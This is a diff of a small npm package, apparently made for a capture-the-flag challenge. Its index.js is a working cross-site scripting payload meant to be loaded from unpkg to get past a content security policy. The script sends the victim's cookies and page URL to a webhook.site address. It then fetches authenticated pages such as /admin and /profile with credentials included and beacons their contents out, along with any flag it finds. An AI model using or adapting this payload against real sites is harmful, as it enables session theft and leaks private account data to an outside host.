confx1789550882 1.0.0

package/index.js

@@ -0,0 +1,34 @@
+// unpkg-hosted exfil payload = also our blind oracle.
+// CSP allows script-src https://unpkg.com/ , so this file runs in the
+// developer-bot's same-origin context when loaded via <script src>.
+(async () => {
+  const W = 'https://webhook.site/04d98207-c947-4938-9f0c-f92feae051cb/';
+  const hit = (k, v) => fetch(W + '?' + k + '=' + encodeURIComponent(String(v))).catch(() => {});
+
+  // 1) Prove code exec + who/where the bot is
+  hit('href', location.href);
+  hit('cookie', document.cookie);
+
+  // 2) Read pages only the authenticated developer-bot can see, beacon their HTML
+  const grab = async (path) => {
+    try {
+      const r = await fetch(path, { credentials: 'include' });
+      const t = await r.text();
+      hit('page_' + path.replace(/[^a-z0-9]/gi, '_'), t.slice(0, 3000));
+    } catch (e) { hit('err_' + path.replace(/[^a-z0-9]/gi, '_'), '' + e); }
+  };
+  for (const p of ['/profile', '/', '/feed', '/admin', '/dev', '/developer', '/flag', '/me', '/dashboard']) {
+    await grab(p);
+  }
+
+  // 3) Regex-scan everything reachable for the flag and beacon just the flag
+  try {
+    const bodies = await Promise.all(
+      ['/profile', '/', '/feed', '/flag', '/me'].map(p =>
+        fetch(p, { credentials: 'include' }).then(r => r.text()).catch(() => ''))
+    );
+    const m = (document.documentElement.outerHTML + ' ' + bodies.join(' ') + ' ' + document.cookie)
+      .match(/DGA\{[^}]*\}/i);
+    if (m) hit('FLAG', m[0]);
+  } catch (e) { hit('scanerr', '' + e); }
+})();

package/package.json

@@ -0,0 +1,7 @@
+{
+  "name": "confx1789550882",
+  "version": "1.0.0",
+  "description": "ctf",
+  "main": "index.js",
+  "license": "MIT"
+}